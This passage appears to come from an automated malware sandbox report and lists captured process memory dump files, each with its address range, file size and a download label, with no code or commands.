memory/3872-179-0x00000000001E0000-0x00000000001E9000-memory.dmp

Filesize
36KB

Download
memory/4132-1097-0x0000000000870000-0x000000000089E000-memory.dmp

Filesize
184KB

Download
memory/4132-1248-0x00000000001D0000-0x00000000001EC000-memory.dmp

Filesize
112KB

Download
memory/4132-1215-0x00000000008A0000-0x00000000008A2000-memory.dmp

Filesize
8KB

Download
memory/4132-1217-0x00000000008A0000-0x00000000008A3000-memory.dmp

Filesize
12KB

Download
memory/4132-1212-0x00000000001D0000-0x00000000001EC000-memory.dmp

Filesize
112KB

Download
memory/4148-271-0x00007FF7D2490000-0x00007FF7D284D000-memory.dmp

Filesize
3.7MB

Download
memory/4252-246-0x0000000002C50000-0x0000000002DC3000-memory.dmp

Filesize
1.4MB

Download
memory/4252-247-0x0000000002DD0000-0x0000000002F04000-memory.dmp

Filesize
1.2MB

Download
memory/4264-162-0x00000000001D0000-0x00000000001D9000-memory.dmp

Filesize
36KB

Download
memory/4264-197-0x0000000000400000-0x0000000000706000-memory.dmp

Filesize
3.0MB

Download
memory/4312-205-0x00000000004B0000-0x00000000008FA000-memory.dmp

Filesize
4.3MB

Download
memory/4340-1487-0x00000162FBA60000-0x00000162FBA70000-memory.dmp

Filesize
64KB

Download
memory/4340-1711-0x00000162FBA20000-0x00000162FBA3C000-memory.dmp

Filesize
112KB

Download
memory/4340-1736-0x00000162FBA60000-0x00000162FBA70000-memory.dmp

Filesize
64KB

Download
memory/4340-1486-0x00000162FBA60000-0x00000162FBA70000-memory.dmp

Filesize
64KB

Download
memory/4340-1502-0x00000162FC6B0000-0x00000162FC769000-memory.dmp

Filesize
740KB

Download
memory/4340-1622-0x00007FF759F80000-0x00007FF759F90000-memory.dmp

Filesize
64KB

Download
memory/4340-1623-0x00000162FBA60000-0x00000162FBA70000-memory.dmp

Filesize
64KB

Download
memory/4424-1755-0x00007FF73F730000-0x00007FF73FF24000-memory.dmp

Filesize
8.0MB

Download
memory/4424-1759-0x00000207256D0000-0x0000020725710000-memory.dmp

Filesize
256KB

Download
memory/4424-1767-0x00007FF73F730000-0x00007FF73FF24000-memory.dmp

Filesize
8.0MB

Download
memory/4532-236-0x0000000000400000-0x0000000000702000-memory.dmp

Filesize
3.0MB

Download
memory/4708-255-0x0000000000400000-0x0000000000702000-memory.dmp

Filesize
3.0MB

Download
memory/4856-1245-0x00000180027D0000-0x00000180027E0000-memory.dmp

Filesize
64KB

Download
memory/4856-1246-0x00000180027D0000-0x00000180027E0000-memory.dmp

Filesize
64KB

Download